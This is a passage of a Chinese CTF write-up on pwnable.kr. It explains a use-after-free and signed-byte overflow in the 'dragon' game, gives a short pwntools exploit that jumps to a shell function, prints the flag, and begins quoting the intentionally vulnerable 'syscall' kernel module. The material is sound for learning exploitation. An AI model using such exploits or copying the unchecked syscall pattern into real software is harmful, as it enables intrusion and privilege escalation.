  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>怎么那么长？好像是堆题</p>
<p>结构体的属性位置和对应关系，有的不是分析出来的，我直接上游戏看数据就可以了，快很多。</p>
<p>这里问题出在赢了之后free掉了龙的结构体ptr（外层循环是v4），但是要求输入名字的时候，又调用了一个v4函数指针。这块代码看ChatGPT：</p>
<blockquote>
<p>v4 是 <code>_DWORD *</code>，所以：<code>*v4</code>表示取 v4 指向的前4字节，而初始化时：<code>*v4</code> = PrintMonsterInfo;所以<code>*v4</code> 里面存的是函数地址。然后<code>(void (__cdecl *)(_DWORD *))</code>把那个整数强制解释成函数指针。类型是：<code>void func(_DWORD *)</code></p>
</blockquote>
<p>问题在于打死龙的时候，龙就被free了，后面又分配了v5：<code>v5 = malloc(0x10u);</code>所以这个堆会被v5写入，但是v4仍然指向这里，调用v4指针就会调用v5写入的内容。</p>
<p>怎么跳到这里呢，游戏赢不了的，这里可以看龙的初始化：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="n">v1</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="n">v4</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">v4</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="mi">80</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">    <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">v4</span> <span class="o">+</span> <span class="mi">9</span><span class="p">)</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">    <span class="n">v4</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">    <span class="o">*</span><span class="n">v4</span> <span class="o">=</span> <span class="n">PrintMonsterInfo</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Mama Dragon Has Appeared!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">9</span><span class="cl">  <span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这里的血量是_BYTE，也就占了一个字节，BYTE默认是无符号的。一个字节是8个比特，表示0-255，而后面的攻击函数居然转成整数判断血量：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">  <span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这里就变成了有符号整数，最高位是符号位，表示范围就变成了-128 到 127。所以这里可以整数溢出，龙的生命大于127就变负数，就可以赢了，然后输入v5为shell地址。</p>
<p>这里选择血量多，攻击低的龙母，然后用法师3技能一直刷回合，没蓝补蓝，让龙溢出生命。</p>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">combo</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;1</span><span class="se">\n</span><span class="s1">1</span><span class="se">\n</span><span class="s1">1</span><span class="se">\n</span><span class="s1">1</span><span class="se">\n</span><span class="s1">3</span><span class="se">\n</span><span class="s1">3</span><span class="se">\n</span><span class="s1">2</span><span class="se">\n</span><span class="s1">3</span><span class="se">\n</span><span class="s1">3</span><span class="se">\n</span><span class="s1">2</span><span class="se">\n</span><span class="s1">3</span><span class="se">\n</span><span class="s1">3</span><span class="se">\n</span><span class="s1">2</span><span class="se">\n</span><span class="s1">3</span><span class="se">\n</span><span class="s1">3</span><span class="se">\n</span><span class="s1">2</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">shell</span> <span class="o">=</span> <span class="mh">0x08048DBF</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">combo</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">shell</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;0&#39;</span><span class="p">,</span><span class="mi">9004</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>flag：<code>p3ac3_1s_th3_k3y</code></p>
<h3 id="syscall">syscall<a class="anchor" href="#syscall">#</a></h3>
<blockquote>
<p>I made a new system call for Linux kernel.
It converts lowercase letters to upper case letters.
would you like to see the implementation?</p>
<p>FYI: <a
  href="http://pwnable.kr/bin/syscall.c" rel="nofollow noopener noreferrer" target="_blank"
  >http://pwnable.kr/bin/syscall.c<span style="user-select:none"> ↗</span></a
>
</p>
<p>ssh <a
  href="mailto:syscall@pwnable.kr"
  >syscall@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<p>根据描述，这题是要看源码：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1">// adding a new system call : sys_upper
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1">// 都是内核用的头
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;linux/slab.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;linux/vmalloc.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;linux/mm.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;asm/unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;asm/page.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;linux/syscalls.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="c1">// 自定义了系统调用表地址和序列号
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="cp">#define SYS_CALL_TABLE		0x8000e348		</span><span class="c1">// manually configure this address!!
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="cp">#define NR_SYS_UNUSED		223
</span></span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="c1">//Pointers to re-mapped writable pages
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="kt">unsigned</span> <span class="kt">int</span><span class="o">**</span> <span class="n">sct</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="c1">// 定义了一个系统调用函数，功能是小写转大写
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="c1">// asmlinkage 代表参数用栈传递而不是寄存器
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="n">asmlinkage</span> <span class="kt">long</span> <span class="nf">sys_upper</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">in</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">out</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">	<span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">in</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">	<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">	<span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="n">in</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">&gt;=</span><span class="mh">0x61</span> <span class="o">&amp;&amp;</span> <span class="n">in</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">&lt;=</span><span class="mh">0x7a</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">			<span class="n">out</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">in</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x20</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">		<span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">			<span class="n">out</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">in</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="c1">// 功能是直接修改系统调用表，把 223 指向自定义函数
</span></span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="c1">// __init：标记函数为&#34;初始化函数&#34;，仅执行1次，模块加载后释放内存
</span></span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">initmodule</span><span class="p">(</span><span class="kt">void</span> <span class="p">){</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">  <span class="c1">// 让指针sct指向系统调用表的内存地址
</span></span></span><span class="line"><span class="ln">40</span><span class="cl">	<span class="n">sct</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="o">**</span><span class="p">)</span><span class="n">SYS_CALL_TABLE</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">  <span class="c1">// 核心：替换系统调用表223号位置的函数指针为自定义的sys_upper
</span></span></span><span class="line"><span class="ln">42</span><span class="cl">	<span class="n">sct</span><span class="p">[</span><span class="n">NR_SYS_UNUSED</span><span class="p">]</span> <span class="o">=</span> <span class="n">sys_upper</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">	<span class="nf">printk</span><span class="p">(</span><span class="s">&#34;sys_upper(number : 223) is added</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">
</span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="c1">// __exit：标记函数为&#34;卸载函数&#34;，模块卸载时执行
</span></span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">exitmodule</span><span class="p">(</span><span class="kt">void</span> <span class="p">){</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">	<span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">
</span></span><span class="line"><span class="ln">52</span><span class="cl">
</span></span><span class="line"><span class="ln">53</span><span class="cl"><span class="c1">// 内核模块的固定写法：指定加载 / 卸载时执行的函数。
</span></span></span><span class="line"><span class="ln">54</span><span class="cl"><span class="nf">module_init</span><span class="p">(</span> <span class="n">initmodule</span> <span class="p">);</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl"><span class="nf">module_exit</span><span class="p">(</span> <span class="n">exitmodule</span> <span class="p">);</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
